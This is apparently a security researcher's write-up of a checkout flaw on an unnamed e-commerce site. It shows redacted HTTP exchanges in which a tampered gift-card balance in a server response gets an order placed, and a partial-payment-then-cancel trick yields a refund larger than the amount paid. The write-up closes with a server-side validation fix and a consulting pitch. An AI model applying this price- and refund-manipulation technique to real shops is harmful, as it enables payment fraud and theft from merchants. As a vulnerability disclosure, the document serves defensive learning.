During a recent security assessment of an e-commerce platform, I discovered a vulnerability that could allow attackers to bypass client-side validation. This vulnerability, if exploited, could enable the attacker to purchase products using fraudulent payments. This platform enables customers to browse, purchase, and receive a wide variety of products conveniently.
The application had a protection mechanism designed to detect and prevent attempts to modify prices during checkout or payment processing. If someone tried to alter the prices, the application would deduct the modified amount from their bank account without placing the order. The following exchange took place when I attempted to modify the product amount to be $1 instead of $54 during checkout:
POST /site/checkout/graphql HTTP/2
Host: www.target.com
[...]
"paymentData":[{"paymentMethod":"[...]","transactionData":{[...]},"paymentType":"normal","issuerId":"[...]","amount":10,
The server responded with:
HTTP/2 200 OK
[...]
{"data":{"transaction":{"publishOrderRequestEvent":{"clientReference":"[...]","__typename":"OrderRequestedResponse"},"redirect":null,"redirectUrl":"https://www.bank.com","redirectAction":null,"nextStep":"finish","__typename":"Redirect"}}}
The server accepted the new price and redirected the user to the payment provider. However, after submitting the payment with the forged amount, the order was not placed within the user’s profile.
Additionally, I noticed that the application allowed customers to pay using gift cards. To understand how this process works, I tested the functionality. The following exchange occurred when a valid gift card was used:
POST /site/checkout/graphql HTTP/2
Host: www.target.com
[...]
{"operationName":"getCardDetails","variables":{"cardNumber":"R351XXXXXXXXX","products":[{"productNumber":"27058227"}]
The server responded with:
HTTP/2 200 OK
[...]
{"data":{"getCardDetails":{"cardNumber":"R351XXXXXXXXX","balance":500,"status":"active","type":"gift","message":null,"maxPurchaseValue":500,"totalProductsAmountInCents":null,"productGroup":null,"__typename":"Giftcard"}}}
POST /site/checkout/graphql HTTP/2
Host: www.target.com
[...]
"paymentData":[{"paymentMethod":"[...]","transactionData":{[...]},"paymentType":"normal","issuerId":"[...]","amount":10,"giftcardAmount":500,"routing":
{"giftcards":[{"cardNumber":"R351XXXXXXXXX","balance":500,"status":"active","type":"gift","message":null,"maxPurchaseValue":500,"totalProductsAmountInCents":null,"productGroup":null,"redeemableBalance":500}],
As you can see, the server responded with the value of the gift card, indicating that the amount was $5. This was followed by a request to select the payment method to complete the purchase. Any attempt to modify the amount of the gift card in the POST request resulted in the application deducting the modified amount from the user's bank account without placing the order. This indicates that the server-side validation is correctly checking the price in the request to prevent tampering.
After spending some time, I had an idea: what if we manipulate the response instead of the request when the application checks for card details? I then used another gift card and set the amount to be $50 instead of $5 in the response, as shown below:
HTTP/2 200 OK
[...]
{"data":{"getCardDetails":{"cardNumber":"W46NXXXXXXXXX","balance":5000,"status":"active","type":"gift","message":null,"maxPurchaseValue":5000,"totalProductsAmountInCents":null,"productGroup":null,"__typename":"Giftcard"}}}
Following the redirection, I noticed that the application set the gift card value to $50, deducted it from the original price, and redirected to a page with a message indicating that the order was successfully placed, as shown below:
POST /site/checkout/graphql HTTP/2
Host: www.target.com
[...]
"paymentData":[{"paymentMethod":"[...]","transactionData":{[...]},"paymentType":"normal","issuerId":"[...]","amount":10,"giftcardAmount":5000,"routing":
{"giftcards":[{"cardNumber":"W46NXXXXXXXXX","balance":5000,"status":"active","type":"gift","message":null,"maxPurchaseValue":5000,"totalProductsAmountInCents":null,"productGroup":null,"redeemableBalance":5000}],
HTTP/2 200 OK
[...]
{"data":{"paymentStatus":{"status":"SUCCESS","__typename":"PaymentStatus"}}}
A couple of minutes later, I received an email confirming that the order had been placed, along with a tracker to monitor my order.
While reporting the finding to the customer, I have got an idea. What would happen if I modified the gift card amount to be lower than the product price and paid the difference using my debit card, and then canceled the order?
I decided to test this hypothesis. I used another gift card, selected a new product priced at $10, and set the gift card value to $9. Then, I chose a payment method and paid the remaining $1 with my debit card. After canceling the order, I received a full refund of $10.
TADA! And that's how you get cash back into your bank account.
This assessment uncovered significant vulnerability because it allows for unauthorized price manipulation, leading to potential financial losses for the website. The solution is to ensure robust server-side validation and integrity checks for all critical transaction data, thereby preventing client-side tampering from affecting the actual business logic and transaction outcomes.
Building a system, website, API, or application? Handling sensitive information or concerned about security? Whether you’re planning a launch or already live without considering security, it's crucial to prioritize protection. Worried about your personal security? Reach out at security@wizoutsugar.com, and let's safeguard your business together!